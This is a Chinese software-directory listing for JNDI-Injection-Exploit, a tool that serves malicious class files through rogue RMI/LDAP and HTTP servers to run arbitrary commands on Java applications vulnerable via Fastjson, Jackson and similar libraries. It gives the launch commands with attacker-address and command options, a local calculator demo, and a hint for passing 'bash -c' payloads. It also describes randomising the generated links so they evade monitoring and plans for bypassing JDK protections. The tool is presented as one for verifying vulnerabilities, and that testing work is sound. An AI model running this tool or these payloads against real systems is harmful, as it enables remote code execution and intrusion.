当前位置: 首页 > 软件库 > 开发工具 > 测试工具 >

JNDI-Injection-Exploit

JNDI 注入测试工具
授权协议 MIT
开发语言 Java
所属分类 开发工具、 测试工具
软件类型 开源软件
地区 不详
投 递 者 洪祺
操作系统 跨平台
开源组织
适用人群 未知
 软件概览

JNDI-Injection-Exploit —— JNDI 注入利用工具,生成 JNDI 链接并启动后端相关服务,可用于 Fastjson、Jackson 等相关漏洞的验证。

使用

可执行程序为 jar 包,在命令行中运行以下命令:

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C - 远程 class 文件中要执行的命令。

    (可选项 , 默认命令是 mac 下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是 IP 地址或者域名。

    (可选项 , 默认地址是第一个网卡地址)

注意:

  • 要确保 109913898180 端口可用,不被其他程序占用。

    或者你也可以在 run.ServerStart 类 26~28 行更改默认端口。

  • 命令会被作为参数传入 Runtime.getRuntime().exec()

    所以需要确保命令传入 exec() 方法可执行。

    bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."

示例

本地演示:

  1. 启动 JNDI-Injection-Exploit:

    $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"

我们需要把第一步中生成的 JNDI 链接注入到存在漏洞的应用环境中,方便解释用如下代码模仿漏洞环境:

public static void main(String[] args) throws Exception{
    InitialContext ctx = new InitialContext();
    ctx.lookup("rmi://127.0.0.1/fgf4fp");
}

当上面代码运行后,应用便会执行相应命令,这里是弹出计算器,没截图,可以自己测一下。

截图是工具的server端日志:

安装

下面两种方法都可以得到Jar包

  1.  Realease直接下载最新的Jar。

  2. 把源码下载到本地然后自行编译打包。(在Java1.7+ 、Java1.8+ 和 Maven 3.x+环境下测试可以)

    $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
    $ cd JNDI-Injection-Exploit
    $ mvn clean package -DskipTests

工具实现

  1. 首先生成的链接后面codebaseClass是6位随机的,这个是因为不希望让工具生成的链接本身成为一种特征被监控或拦截。
  2. 服务器地址实际就是codebase地址,相比于marshalsec中的JNDI server来说,这个工具把JNDI server和HTTP server绑定到一起,并自动启动HTTP server返回相应class,更自动化了。
  3. HTTP server基于jetty实现的,本质上是一个能下载文件的servlet,比较有意思的是我提前编译好class模板放到resource目录,然后servlet会读取class文件,使用ASM框架对读取的字节码进行修改,然后插入我们想要执行的命令,返回修改后的字节码。

待实现

  • (已完成EL表达式绕过部分)在更高版本的 JDK 环境中 trustURLCodebase 变量为 false,限制了远程类的加载,我会找时间把JNDI-Injection-Bypass这个项目的东西融入到本项目中,生成能绕过 JDK 限制 JNDI 链接。
  • 本文介绍三种JNDI注入辅助工具(偷懒工具) 一、Rogue JNDI 简介 用于JNDI注入攻击的恶意LDAP服务器。 项目地址:https://github.com/veracode-research/rogue-jndi 该项目包含LDAP和HTTP服务器,用于利用默认情况下不安全的Java JNDI API。 为了进行攻击,您可以在本地启动这些服务器,然后在易受攻击的客户端上触发JNDI解

 相关资料
  • 注入是将依赖注入对象的过程。 字段注入用于将值对象设置为对象字段的依赖项。 请参阅下面的示例。 例子 (Example) 创建一个名为GuiceTester的java类。 GuiceTester.java import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.inject

  • 依赖注入是在运行时添加组件功能的能力。 让我们看一个示例和用于实现依赖注入的步骤。 Step 1 - 创建一个具有可注入装饰器的单独类。 可注入装饰器允许在任何Angular JS模块中注入和使用此类的功能。 @Injectable() export class classname { } Step 2 - 接下来在appComponent模块或您要使用该服务的模块中,您需要将其定义

  • 依赖注入是一种软件设计,其中组件被赋予其依赖性,而不是在组件内对它们进行硬编码。 它减轻了组件定位依赖关系并使依赖关系可配置。 它还有助于使组件可重用,可维护和可测试。 AngularJS提供了一种最高的依赖注入机制。 它提供了以下核心组件,这些组件可以作为依赖项互相注入。 Value Factory Service Provider Constant Value Value是一个简单的JavaS

  • 它是一个将一个对象的依赖项提供给另一个对象并由Ember应用程序用于声明和实例化它们之间的对象和依赖项类的过程。 Ember.Application和Ember.ApplicationInstance类在Ember的依赖注入实现中起着重要作用。 Ember.Application类声明并配置对象并用作依赖性声明的“注册表”,其中Ember.ApplicationInstance类充当实例化对象的“

  • EJB 3.0规范提供了注释,可以应用于字段或setter方法以注入依赖项。 EJB容器使用全局JNDI注册表来定位依赖项。 以下注释在EJB 3.0中用于依赖注入。 @EJB - 用于注入其他EJB引用。 @Resource - 用于注入sessionContext,timerService等数据源或单例服务。 使用@EJB的步骤 @EJB可以按以下方式用于字段或方法 - public clas

  • 注入是将依赖注入对象的过程。 方法注入用于将值对象设置为对象的依赖项。 请参阅下面的示例。 例子 (Example) 创建一个名为GuiceTester的java类。 import com.google.inject.AbstractModule; import com.google.inject.Guice; import com.google.inject.ImplementedBy; imp